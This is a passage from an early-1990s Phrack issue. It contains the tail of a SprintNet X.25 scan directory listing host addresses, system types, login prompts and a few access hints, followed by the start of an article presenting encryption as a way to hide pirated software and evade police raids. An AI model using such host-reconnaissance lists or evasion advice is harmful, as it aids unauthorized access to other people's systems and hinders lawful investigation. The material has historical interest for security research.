SERVICES 716 603 TSO B + L DATA CENTER SERVICES 716 605 TSO B + L DATA CENTER SERVICES 717 - Pennsylvania Scanned: [0 - 500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 717 24 * 717 31 717 32 * 717 33 * 717 34 * 717 44 717 45 VOS (use "list_users") 717 46 VOS 717 47 Woolworth Management Information Center X.25 717 48 Woolworth Management Information Center X.25 717 51 Woolworth Management Information Center Multi-System 717 54 $TM/ID: (Sprint Address Directory) 717 55 $TM/ID: 717 56 $TM/ID: 717 150 * 717 160 * 717 161 * 717 162 * 717 163 * 717 234 $ HP-3000 hello field.support 717 242 $ 717 243 CONNECTED TO PACKET/400 747 - Boeing Scanned: [N/A] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 747 Note: All addresses in this prefix pass through a network security validator. I was unable to get passed it and unable to scan this prefix. Network validations as follows: ENTER USERID> ENTER PASSWORD> ENTER SERVICE NAME> INVALID USER IDENTIFICATION After too many attempts, you get this cheerful message: NOTICE!!! This is a private network. It is restricted to authorized users only. If you do not have authorization, you are warned to disconnect at once. Actual or attempted use, access, communication or examination by unauthorized persons will result in criminal and civil prosecution to the full extent of the law. If you require assistance in the use of this network or access to this network, please call: 206-865-7168 if no answer 206-234-0911 755 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 755 1001 $ Prime 755 1002 $ Prime 755 1003 $ Prime 755 1004 $ Prime 755 1012 $ MHP201A IUX0306 APPLICATION: 755 1014 $ MHP201A LUX0502 APPLICATION: 755 1020 $ 755 1023 $ MHP201A ITVG0182 APPLICATION: 755 1025 $ MHP201A ITVG0182 APPLICATION: 757 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 757 120 (echo) 757 126 MSG10-RJRT TERMINAL-ID:GSSCXB61 IS NOW IN SESSION 784 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 784 11000 $ Operator: 787 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 787 0 Prime 787 1 Prime 787 2 Prime 787 10001$ 787 50001 USER ID--> (diverted for network validation) 787 50002$ Enter profile ID: 787 50003$ 787 50005 787 50006$ 787 70001 787 70002$ 787 90001 Prime 787 90003$ 787 90006 Prime PRIMENET 23.2.0v.PSWI STH-A 787 90007$ 787 90008 CRYPTO ENTER "IDX" OR "ID" AND USER ID --> 787 90012 787 90014 VAX/VMS 787 90015$ USER ID--> 787 90016$ 787 90018$ 787 90023$ 787 90025$ VAX/VMS V{lkommen... 787 90026$ access barred 789 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 789 11000 Prime 801 - Utah Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 801 25 Wasatch System. 801 26 Wasatch System. 801 27 Wasatch System. 801 54 $ VAX/VMS WELCOME TO SOLO - Unathorized use prohibited 801 250 ID?> 801 260 801 360 * 801 362 804 - Virginia Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 804 35 VAX/VMS 804 50 * 804 153 804 241 $ CONNECTED TO PACKET/74 804 242 * 804 243 * 804 244 * 804 245 * 804 256 CONNECTED TO PACKET/94 804 261 * 804 263 * 804 264 * 805 - California Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 805 50 VAX/VMS 805 51 VAX/VMS 805 52 VAX/VMS 805 150 Prime PRIMENET 22.0.1 MBM 805 230 $ 810 - unknown Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 810 26 * 811 - unknown Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 811 13.12 * 811 13.16 Unix/SysV 811 15 * 811 17 $ HP-3000 811 21 $ Unix 811 22 $ Unix 811 24 $ Unix 811 25 TACL 1> 811 27.18 Unix/SysV 811 27.19 Unix/SysV 811 43.14 Unix/SysV 811 43.15 Unix/SysV 811 67 811 68 811 76.18 Unix/SysV Highlands VMS A login: 811 76.19 DACS1 (try 'help' - tons of cmds available) 811 84.19 * stat==STATUS STATISTICS? 811 85.2 * 811 141 811 142 811 150.10 * 811 315 811 316 811 411 MHP201A UEVT20U0 811 412 BA 811 413 @@ 811 414 @@ 811 415 813 - Florida Scanned: [0 - 1000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 813 20 * 813 21 * 813 48 * 813 52 $ Price Waterhouse 813 53 * 813 55 $ Price Waterhouse 813 59 $ Price Waterhouse National Admin Center 813 73 VM/CMS 813 74 $$ 4200 MODEL: 813 124 * 813 138 * 813 143A IBM Information Services. 813 147A IBM Information Services. 813 149 * 813 151 $ Price Waterhouse 813 153 * 813 154 * 813 172A IBM Information Services. 813 174A IBM Information Services, Information Network 813 237 * 813 240 813 248 813 261 * 813 266A IBM Information Services. 813 267A IBM Information Services. 813 269 VAX/VMS 813 270 VAX/VMS 813 271 Access Code: 813 272 Prime 813 277 U#= 813 330 * 813 333 813 352 813 358 USER ID 813 377 813 433 USER ID 813 434 USER ID 813 436 U#= 813 438 VAX/VMS 813 450 813 456 USER ID 813 457 USER ID 813 458 USER ID 813 459 USER ID 813 460 USER ID 813 461 USER ID 813 465 USER ID 813 466 USER ID 813 467 USER ID 813 468 USER ID 813 469 USER ID 813 470 USER ID 813 471 USER ID 813 472 USER ID 813 660 813 1330 * 813 1340 * 814 - Pennsylvania Scanned: [0 - 200] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 814 50 Prime PRIMENET 23.2.0.R39 SYSA 814 130 * 816 - Missouri Scanned: [0 - 1000 & various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 816 31 * 816 36 816 179 * 816 231 VAX/VMS 816 237 VAX/VMS 816 238 VAX/VMS 816 258 * 816 259 * 816 341 816 356 * 816 358 CONNECTED TO PACKET/94 816 359 CONNECTED TO PACKET/94 816 364 * 816 434 816 442 * 816 444 * 816 447 * 816 450 VAX/VMS 816 455 816 456 816 462 * 816 479 * 816 1041 $ (echo) 816 1042 $ 816 1045 $ 816 1046 $ 816 1059 * 816 1058 * 816 1300 Major BBS WELCOME TO THE OASIS BBS - NODE 1 816 90031* 816 90032* 816 90038 816 90042 VAX/VMS #3MRPGWY 818 - California Scanned: [0 - 300] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 818 21 * 818 30 * 834 - unknown Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 834 10003 VAX/VMS 834 10004 VAX/VMS 834 10005 VAX/VMS 834 10006 VAX/VMS 834 10007 VAX/VMS 834 10050 through 10099 are all VAXes 834 10100 Unix BIX -- ttyx1c, 34101 (Byte Information eXchange) 834 10101 through 10999 are all VAXes 834 20005 Prime PRIMENET 20.2.7 IREX 834 20009 MHP1201I TERMINAL CONNECTED TO PACKET/400 834 20201 (no response) 834 20202 834 20203 834 20204 834 20205 840-849 - unknwon Scanned:[N/A] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 840 Note: All these prefixes except 845 pass through Sprint's 841 TAMS Network validation. I was unable to get passed this 842 to scan. These addresses are only left in for the sake of 843 completeness. 844 845 * 845 seems to be disabled. 846 847 Network validation as follows: 848 849 YOUR CALL HAS BEEN DIVERTED FOR NETWORK USER VALIDATION. USER ID : PASSWORD : BH:INVALID USER ID OR PASSWORD. 890-895 - unknown Scanned:[N/A] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 890 $ Note: none of these addresses accept collect connections, 891 $ and all of them pass through some sort of network 892 $ validation. I was unable to get past this, and scan 893 $ them. These are only left in for the sake of completeness. 894 $ 895 $ Network validation as follows: ADTN USER ID: ADTN PASSWORD: 909 - SprintNet Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 909 3 $ SprintNet Pad 909 6 909 8 Prime 909 9 Prime 909 10 Prime 909 12 Prime 909 13 909 14 SprintNet Pad 909 18 909 18.11 DJ 909 18.13 CARL 909 18.14 APPLE 909 18.15 GTEES 909 18.16 SONIC 909 18.17 NLM 909 18.18 ECSBBDS 909 18.19 ECSDIRE 909 18.20 ECSDREV 909 18.22 PLANETM 909 18.23 PLANDIR 909 18.24 SCANDIR 909 18.25 SCANECS 909 18.26 GRASSRT 909 18.27 GABST 909 18.28 INPLAND 909 18.29 INPLANM 909 18.30 ECHO 909 18.31 FARS 909 18.33 ACTB 909 18.34 OAG 909 18.35 CAPLANM 909 18.38 PLANPBB 909 18.39 DOAG 909 18.40 ACSDB 909 18.41 TOP 909 18.42 PAGES 909 18.43 CHEMJOB 909 18.44 OHPLANM 909 18.45 OHPLAND 909 18.46 ILPLANM 909 18.47 ILPLAND 909 18.48 GWN 909 18.49 CHEMREF 909 18.50 BOREAL 909 18.51 COMPETE 909 18.52 SAMI 909 18.53 UTINFO 909 18.54 KWIC 909 18.55 GRAD 909 18.56 SYM 909 18.57 CONDO 909 18.58 ISTHMUS 909 18.59 NETWRKS 909 18.70 PLANOSA 909 18.71 GROUP 909 18.72 CMADR 909 18.73 NEWS 909 18.74 IEEEDB 909 18.75 XDATA 909 18.76 LOCAL 909 18.77 CAPLAND 909 18.78 ERC 909 18.79 SEAGRAN 909 18.80 NSSDC 909 18.83 COLD 909 18.84 GEOREF 909 18.85 NTIS 909 18.86 CURRENT 909 18.87 SABRE 909 18.88 ARCTIC 909 18.89 ECS 909 23 Prime 909 26 Prime 909 27 Prime 909 33 $ (not from this DTE) 909 38 User name? 909 39 Prime 909 44 Prime 909 49 USER ID 909 51 Your call cannot be completed (unknown destination). 909 52 Your call cannot be completed (unknown destination). 909 53 User name? 909 54 909 55 USER ID 909 58 909 58 909 62 User name? 909 63 User name? 909 65 User name? 909 77 Prime 909 79 MHP201A XLU76001 * VERSION 6.1.3 * 909 82 Prime 909 90 Prime 909 92 Prime 909 94 Prime 909 95 Prime 909 97 Prime 909 98 Prime Please login [CMOS]: 909 100 Prime 909 103 TELENET ASYNC TO 3270 SERVICE 909 104 TELENET ASYNC TO 3270 SERVICE 909 107 * 909 116 Prime 909 117 Prime 909 121 909 123 User name? 909 125 909 126 909 130 Prime 909 131 Prime 909 136 Prime 909 137 Prime 909 139 Prime 909 140 TACL 1> 909 141 Prime 909 143 Prime 909 144 Prime 909 146 User name? 909 147 User name? 909 148 User name? 909 149 User name? 909 151 909 153 TACL 1> 909 155 User name? 909 158 User name? 909 159 User name? 909 160 User name? 909 161 User name? 909 162 User name? 909 165 User name? 909 167 TACL 1> 909 168 User name? 909 171 TELENET ASYNC TO 3270 SERVICE 909 172 TELENET ASYNC TO 3270 SERVICE 909 173 User name? 909 176 Prime 909 178 USER ID 909 179 USER ID 909 184 Prime 909 205 Prime 909 206 Prime 909 212 Prime Please login [S212]: 909 235 Prime Please Login [S235]: 909 236 Prime Please Login [S235]: 909 239 Prime 909 302 Prime Please login [S302]: 909 331 * 909 352 !LOAD AND FUNCTION TESTER 909 353 !LOAD AND FUNCTION TESTER 909 354 !LOAD AND FUNCTION TESTER 909 355 !LOAD AND FUNCTION TESTER 909 400 User name? 909 401 User name? 909 402 Unix DG/UX Release 4.31. AViiON (tpx1b) 909 403 User name? 909 404 User name? 909 406 User name? 909 407 User name? 909 408 User name? 909 409 User name? 909 500 Prime 909 501 Prime 909 502 Prime 909 503 Prime 909 555 Unix DG/UX (joker) 909 615 Prime 909 623 User Name? 909 626 User name? 909 627 User name? 909 628 User name? 909 629 User name? 909 630 User name? 909 631 PC-Pursuit BBS 909 640 User name? 909 641 User name? 909 642 User name? 909 643 User name? 909 644 Unix X.29 Terminal Service (courts) 909 645 User name? 909 649 909 650 User name? 909 651 User name? 909 652 Unix X.29 Terminal Service (courts) 909 656 REJECTING 00 00 909 661 909 751 SPRINT EASTERN REGION NETWORK 909 761 User name? 909 762 User name? 909 763 User name? 909 764 TELENET ASYNC TO 3270 SERVICE 909 767 SPRINT EASTERN REGION NETWORK 909 769 909 770 Unix X.29 Terminal Service (fan2) 909 772 Prime 909 776 Unix DG/UX Release 4.31. AViiON (tpx1b) 909 777 TELENET ASYNC TO 3270 SERVICE 909 779 TELENET ASYNC TO 3270 SERVICE 909 784 TELENET ASYNC TO 3270 SERVICE 909 798 Prime Please login [S798] 909 800 User name? help 909 801 Unix DG/UX Release 4.31. AViiON (tpx1b) 909 805 User name? 909 806 Your call cannot be completed (unknown destination). 909 811 Unix DG/UX Release 4.31. AViiON (tpx1b) 909 813 User name? 909 814 User name? 909 816 User name? 909 817 User name? 909 818 User name? 909 819 User name? 909 822 User name? 909 823 User name? 909 824 User name? 909 828 User name? 909 830 User name? 909 831 User name? 909 840 User name? 909 841 User name? 909 842 User name? 909 843 User name? 909 844 User name? 909 845 User name? 909 846 Your call cannot be completed (unknown destination). 909 847 909 849 Unix X.29 Terminal Service 909 900 Prime 909 901 Prime 909 2070 Prime Please Login [S235]: 909 2075 Prime Please login [S2075]: 909 2080 Prime Please login [CMOS]: 909 2086 Unix DG/UX (iceman) 909 2090 Prime Please login [S798] 909 2091 Prime 909 2092 Prime 910 - SprintNet Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 910 100 Prime 910 101 Prime 910 200 Prime 910 400 Prime 910 401 Prime 910 500 Prime 910 501 Prime 910 503 Prime Please Login. 910 504 Prime Please Login. 910 600 Prime 910 601 Prime 920 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 920 102 INSTITUTE OF NUCLEAR POWER OPERATIONS 920 103 INSTITUTE OF NUCLEAR POWER OPERATIONS 920 104 You are now connected to the computer. (16) 920 105 INSTITUTE OF NUCLEAR POWER OPERATIONS 920 106 You are now connected to the computer. (16) 920 107 You are now connected to the computer. (16) 933 - unknown Scanned: [various] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 933 10000 Unix DG/UX Release 4.32. AViiON (atlantic) Note: all other addr's after 1000 = BUSY! Mnemonic Addresses Scanned: N/A ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- APPLE Unix 4.3 BSD UNIX (apple.com) BCS ACCESS TO THIS ADDRESS NOT PERMITTED. BETA (hangs) BIX Unix Welcome to BIX -- ttyx11c, 34101 BRS ENTER BRS PASSWORD CCC02 GOOD DAY, PLEASE ENTER YOUR ID NUMBER CCC03 GOOD DAY, PLEASE ENTER YOUR ID NUMBER CLARIONET Major BBS Userid : new CMS enter a for astra COM NOT REACHABLE 05 E6 CONTEL GTE Contel DUAT System (airplane stuff) COS enter a for astra D41 Prime Primecom Network 19.4Q.111 System 41 D42 Prime Primecom Network 19.4Q.111 System 42 D43 Prime Primecom Network 19.4Q.111 System 43 D44 Prime Primecom Network 19.4Q.111 System 44 D46 Prime Primecom Network 19.4Q.111 System 46 D52 Prime Primecom Network 19.4Q.111 System 52 D56 Prime Primecom Network 18.4Y System 56 D57 Prime Primecom Network 19.4Q.111 System 57 D61 Prime Primecom Network 19.4Q.111 System 31 D64 Prime Primecom Network 19.4Q.111 System 64 DELPHI VAX/VMS Username: DIALOG Dialog Information Services DIR DOW WHAT SERVICE PLEASE???? DUAT GTE Contel DUAT System DUNS Dunsnet (D&B) EIES Unix HP-UX ciathp A.B7.00 U 9000/835 FAR Please enter your ID number: FED REJECTING 00 E8 GOLD $ GTEMAIL SprintNet Directory INFO Your call cannot be completed (unknown destination). IRIS NOT REACHABLE 05 E6 ITI VAX/VMS Usuario : KIS ACCESS TO THIS ADDRESS NOT PERMITTED. LEXIS Lexis and Nexis MAIL SprintNet Directory META Unix tmn!login: MMM USER ID MUNI ACCESS TO THIS ADDRESS NOT PERMITTED. NAS PLEASE ENTER LOGIN NASA NET Prime NewsNet NETX SNPBBS Telenet's NETXBBS (Old PCP/New Buisnesscall bbs?) NLM PLEASE ENTER LOGIN NSF ACCESS TO THIS ADDRESS NOT PERMITTED. OAG PLEASE ENTER SUBSCRIBERID;PASSWORD OLS NOT OPERATING 09 00 ONLINE VOS Please login ORBIT ENTER ORBIT USERID PDN Major BBS Public Data Network (BBS) User-ID? new PLASPEC Unix PLAY $ PORTAL Portal Communications Company. PSINET $ PURSUIT SNPBBS PC-Pursuit BBS QUICK PLEASE ENTER YOUR BMG USERID : SIS NOS CDCNET SPR REMOTE PROCEDURE ERROR 11 51 STK1 ACCESS TO THIS ADDRESS NOT PERMITTED. STK2 ACCESS TO THIS ADDRESS NOT PERMITTED. STK3 ACCESS TO THIS ADDRESS NOT PERMITTED. TELEX User name? TELEMAIL User name? TPE $ Major BBS (adult chat/bbs) Member-ID? new TRACK $ TRW User name? UNISYS ACCESS TO THIS ADDRESS NOT PERMITTED. USIBM VONS USER ID VUTEXT VU/TEXT WARNER ACCESS TO THIS ADDRESS NOT PERMITTED. WESTLAW ENTER ID ZIFF **** Invalid sign-on, please try again **** PC-Pursuit Dialers ~~~~~~~~~~~~~~~~~~ Usage: C D//,, (Note: bauds are 3, 12, or 24) NPA Dialer ~~ ~~~~~~ 313 MIAAR 404 GAATL 512 TXAUS 617 MABOS 312 ILCHI 708 ILCHI (1-708+num) 815 ILCHI (1-815+num) 216 OHCLE 714 CACOL 614 OHCOL 214 TXDAL 817 TXDAL (817+num) 303 CODEN 313 MIDET 818 CAGLE 310 CAGLE (1-310+num) 213 CAGLE (1-213+num) 203 CTHAR 516 NYHEM 713 TXHOU 317 ININ12 317 ININ24 816 MOKCI 913 MOKCI 213 CALAN 310 CALAN (1-310+num) 818 CALAN (1-818+num) 305 FLMIA 414 WIMIL 612 MNMIN 201 NJNEW 908 NJNEW (1-908+num) 901 TNMEM 601 TNMEM (1-601+num) 908 NJNBR 201 NJNBR (1-201+num) 504 LANOR 212 NYNYO 516 NYNYO (1-516+num) 718 NYNYO (1-718+num) 914 NYNYO (1-914+num) 415 CAOAK (1-415+num) 510 CAOAK 407 FLORL 415 CAPAL 408 CAPAL (1-408+num) 510 CAPAL (1-510+num) 215 PAPHI 602 AZPHO 412 PAPIT 503 ORPOR 919 NCRTP 916 CASAC 801 UTSLC 619 CASDI 415 CASFA 510 CASFA (1-510+num) 408 CASJO 510 CASJO (1-510+num) 415 CASJO (1-415+num) 714 CASAN 310 CASAN (1-310+num) 213 CASAN (1-213+num) 206 WASEA 314 MOSLO 618 MOSLO (1-618+num) 813 FLTAM 202 DCWAS 703 DCWAS (1-703+num) 301 DCWAS (1-301+num) ************************End SprintNet Directory 92************************** -Sky ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 11 of 14 ################################################### # The Paranoid Schizophrenics Guide to Encryption # # (or How to Avoid Getting Tapped and Raided) # ################################################### Written by The Racketeer of The /-/ellfire Club The purpose of this file is to explain the why and the how of Data Encryption, with a brief description of the future of computer security, TEMPEST. At the time of this issue's release, two of the more modern software packages use encryption methods covered in this article, so exercise some of your neurons and check into newer releases if they are available. Methods described in this file use PGP, covering an implementation of Phil Zimmermann's RSA variant, and the MDC and IDEA conventional encryption techniques by using PGP and HPACK. -------------------- WHY DATA ENCRYPTION? -------------------- This isn't exactly the typical topic discussed by me in Phrack. However, the importance of knowing encryption is necessary when dealing with any quasi-legal computer activity. I was planning on starting my series on hacking Novell Networks (so non-Internet users can have something to do), but recent events have caused me to change my mind and, instead of showing people how to get into more trouble (well, okay, there is plenty of that in this file too, since you're going to be working with contraband software), I've opted instead to show people how to protect themselves from the long arm of the Law. Why all this concern? Relatively recently, The Masters of Deception (MoD) were raided by various federal agencies and were accused of several crimes. The crimes they did commit will doubtlessly cause more mandates, making the already too-outrageous penalties even worse. "So?" you might ask. The MoD weren't exactly friends of mine. In fact , quite the contrary. But unlike many of the hackers whom I dealt with in the "final days" prior to their arrest, I bitterly protested any action against the MoD. Admittedly, I followed the episode from the beginning to the end, and the moral arguments were enough to rip the "Hacker World" to pieces. But these moral issues are done, the past behind most of us. It is now time to examine the aftermath of the bust. According to the officials in charge of the investigation against MoD members, telephone taps were used to gain evidence against members successfully. All data going in and out of their house was monitored and all voice communications were monitored, especially between members. So, how do you make a line secure? The party line answer is use of effective encryption methods. Federal investigative agencies are currently pushing for more technological research into the issue of computer security. All of the popular techniques which are being used by hackers today are being used by the government's R&D departments. Over the course of the last 5 years, I've watched as the U.S. Government went from a task force of nearly nil all the way to a powerful marauder. Their mission? Unclear. Regardless, the research being accomplished by federally-funded projects dealing with the issues of computer security are escalating. I've personally joined and examined many such conferences and have carefully examined the issues. Many of these issues will become future Phrack articles which I'll write. Others, such as limited-life semiconductors and deliberate telephone line noise sabotage caused by ACK packet detections in order to drive telecommunication costs higher, are sadly unpreventable problems of the future which won't be cured by simple awareness of the problem. They have different names -- Computer Emergency Response Team (CERT), Computer Assisted Security Investigative Analysis Tool (FBI's CASIAT), the Secret Service's Computer Fraud Division, or the National Computer Security Center (NSA's NCSC). Scores of other groups exist for every network, even every operating system. Their goal isn't necessarily to catch hackers; their goal is to acquire information about the act of hacking itself until it is no longer is a problem. Encryption stands in the way. Computer Security is literally so VAST a concept that, once a person awakens to low-level computer mechanics, it becomes nearly impossible to prevent that person from gaining unauthorized access to machines. This is somewhat contradictory to the "it's all social engineering" concept which we have been hearing about on Nightline and in the papers. If you can't snag them one way though, you can get them another -- the fact is that computers are still too damn vulnerable these days to traditional hacking techniques. Because of the ease of breaking through security, it becomes very difficult to actually create an effective way to protect yourself from any form of computer hacking. Look at piracy: they've tried every trick in the book to protect software and, so far, the only success they have had was writing software that sucked so much nobody wanted a copy. Furthermore, totally non-CPU related attacks are taking place. The passing of Anti-TEMPEST Protection Laws which prevent homes from owning computers that don't give off RF emissions has made it possible for any Joe with a few semesters of electrical engineering knowledge to rig together a device that can read what's on your computer monitor. Therefore: Q: How does a person protect their own computer from getting hacked? A: You pretty much can't. I've memorized so many ways to bypass computer security that I can rattle them off in pyramid levels. If a computer is not even connected to a network or phone line, people can watch every keystroke typed and everything displayed on the screen. Why aren't the Fedz using these techniques RIGHT NOW? I can't say they are not. However, a little research into TEMPEST technology resulted in a pretty blunt fact: There are too many computer components to scan accurately. Not the monitor, oh no! You're pretty much fucked there. But accessories for input and output, such as printers, sound cards, scanners, disk drives, and so forth...the possibility of parallel CPU TEMPEST technology exists, but there ar e more CPU types than any mobile unit could possibly use accurately. Keyboards are currently manufactured by IBM, Compaq, Dell, Northgate, Mitsuma (bleah), Fujitsu, Gateway, Focus, Chichony, Omni, Tandy, Apple, Sun, Packard-Bell (may they rot in hell), Next, Prime, Digital, Unisys, Sony, Hewlett-Packard, AT&T, and a scattering of hundreds of lesser companies. Each of these keyboards have custom models, programmable models, 100+ key and < 100 key models, different connectors, different interpreters, and different levels of cable shielding. For the IBM compatible alone, patents are owned on multiple keyboard pin connectors, such as those for OS/2 and Tandy, as well as the fact that the ISA chipsets are nearly as diverse as the hundreds of manufacturers of motherboards. Because of lowest-bid practices, there can be no certainty of any particular connection -- especially when you are trying to monitor a computer you've never actually seen! In short -- it costs too much for the TEMPEST device to be mobile and to be able to detect keystrokes from a "standard" keyboard, mostly because keyboards aren't "standard" enough! In fact, the only real standard which I can tell exists on regular computers is the fact that monitors still use good old CRT technology. Arguments against this include the fact that most of the available PC computers use standard DIN connectors which means that MOST of the keyboards could be examined. Furthermore, these keyboards are traditionally serial connections using highly vulnerable wire (see Appendix B). Once again, I raise the defense that keyboard cables are traditionally the most heavily shielded (mine is nearly 1/4 inch thick) and therefore falls back on the question of how accurate a TEMPEST device which is portable can be, and if it is cost effective enough to use against hackers. Further viewpoints and TEMPEST overview can be seen in Appendix B. As a result, we have opened up the possibility for protection from outside interference for our computer systems. Because any DECENT encryption program doesn't echo the password to your screen, a typical encryption program could provide reasonable security to your machine. How reasonable? If you have 9 pirated programs installed on your computer at a given time and you were raided by some law enforcement holes, you would not be labeled at a felon. Instead, it wouldn't even be worth their time to even raid you. If you have 9 pirated programs installed on your computer, had 200 pirated programs encrypted in a disk box, and you were raided, you would have to be charged with possession of 9 pirated programs (unless you did something stupid, like write "Pirated Ultima" or something on the label). We all suspected encryption was the right thing to do, but what about encryption itself? How secure IS encryption? If you think that the world of the Hackers is deeply shrouded with extreme prejudice, I bet you can't wait to talk with crypto-analysts. These people are traditionally the biggest bunch of holes I've ever laid eyes on. In their mind, people have been debating the concepts of encryption since the dawn of time, and if you come up with a totally new method of data encryption, -YOU ARE INSULTING EVERYONE WHO HAS EVER DONE ENCRYPTION-, mostly by saying "Oh, I just came up with this idea for an encryption which might be the best one yet" when people have dedicated all their lives to designing and breaking encryption techniques -- so what makes you think you're so fucking bright? Anyway, crypto-(anal)ysts tend to take most comments as veiled insults, and are easily terribly offended. Well, make no mistake, if I wanted to insult these people, I'd do it. I've already done it. I'll continue to do it. And I won't thinly veil it with good manners, either. The field of Crypto-analysis has traditionally had a mathematical emphasis. The Beal Cipher and the German Enigma Cipher are some of the more popular views of the field. Ever since World War 2, people have spent time researching how technology was going to affect the future of data encryption. If the United States went to war with some other country, they'd have a strong advantage if they knew the orders of the opposing side before they were carried out. Using spies and wire taps, they can gain encrypted data referred to as Ciphertext. They hand the information over to groups that deal with encryption such as the NSA and the CIA, and they attempt to decode the information before the encrypted information is too old to be of any use. The future of Computer Criminology rests in the same ways. The deadline on white collar crimes is defaulted to about 3-4 years, which is called the Statute of Limitations. Once a file is obtained which is encrypted, it becomes a task to decrypt it within the statute's time. As most crypto-analysts would agree, the cost in man-hours as well as supercomputer time would make it unfeasible to enforce brute force decryption techniques of random encryption methods. As a result of this, government regulation stepped in. The National Security Agency (referred to as "Spooks" by the relatively famous tormenter of KGB-paid-off hackers, Cliff Stoll, which is probably the only thing he's ever said which makes me think he could be a real human being) released the DES -- Data Encryption Standard. This encryption method was basically solid and took a long time to crack, which was also the Catch-22. DES wasn't uncrackable, it was just that it took "an unreasonable length of time to crack." The attack against the word "unreasonable" keeps getting stronger and stronger. While DES originated on Honeywell and DEC PDPs, it was rumored that they'd networked enough computers together to break a typical DES encrypted file. Now that we have better computers and the cost requirements for high-speed workstations are even less, I believe that even if they overestimated "unreasonable" a hundredfold, they'd be in the "reasonable" levels now. To explain how fast DES runs these days... I personally wrote a password cracker for DES which was arguably the very first true high-speed cracker. It used the German "Ultra-Fast Crypt" version of the DES algorithm, which happened to contain a static variable used to hold part of the previous attempt at encrypting the password, called the salt. By making sure the system wouldn't resalt on every password attempt, I was able to guess passwords out of a dictionary at the rate of 400+ words per second on a 386-25 (other methods at that time were going at about 30 per second). As I understand it now, levels at 500+ for the same CPU have been achieved. Now this means I can go through an entire dictionary in about five minutes on a DES-encrypted segment. The NSA has REAL cash and some of the finest mathematicians in the world, so if they wanted to gain some really decent speed on encryption, DES fits the ideal for parallel programming. Splitting a DES segment across a hundred CPUs, each relatively modern, they could crank out terraflops of speed. They'd probably be able to crack the code within a few days if they wanted to. Ten years from now, they could do it in a few seconds. Of course, the proper way to circumnavigate DES encryption is to locate and discover a more reliable, less popular method. Because the U.S. Government regulates it, it doesn't mean it's the best. In fact, it means it's the fucking lamest thing they could sweeten up and hope the public swallows it! The last attempt the NSA made at regulating a standard dealing with encryption, they got roasted. I'm somewhat convinced that the NSA is against personal security, and from all the press they give, they don't WANT anyone to have personal security. Neither does the Media for that matter. Because of lamers in the "Biblical Injustice Grievance Group of Opposing Terrible Sacrilege" (or BIGGOTS) who think that if you violate a LAW you're going to Hell (see APPENDIX C for my viewpoint of these people) and who will have convinced Congress to pass ease-of-use wire taps on telephone lines and networks so that they can monitor casual connections without search warrants, encryption will be mandatory if you want any privacy at all. And to quote Phil Zimmermann, "If privacy is outlawed, only the outlaws will have privacy." Therefore, encryption methods that we must use should be gathered into very solid categories which do NOT have endorsement of the NSA and also have usefulness in technique. HOW TO USE DECENT ENCRYPTION: (First, go to APPENDIX D, and get yourself a copy of PGP, latest version.) First of all, PGP is contraband software, presumably illegal to use in the United States because of a patent infringement it allegedly carries. The patent infringement is the usage of a variant of the RSA encryption algorithm. Can you patent an algorithm? By definition, you cannot patent an idea, just a product -- like source code. Yet, the patent exists to be true until proven false. More examples of how people in the crypto-analyst field can be assholes . Anyway, Phil's Pretty Good Software, creators of PGP, were sued and all rights to PGP were forfeited in the United States of America. Here comes the violation of the SECOND law, illegal exportation of a data encryption outside of the United States of America. Phil distributed his encryption techniques outside the USA, which is against the law as well. Even though Mr. Zimmermann doesn't do any work with PGP, because he freely gave his source code to others, people in countries besides the 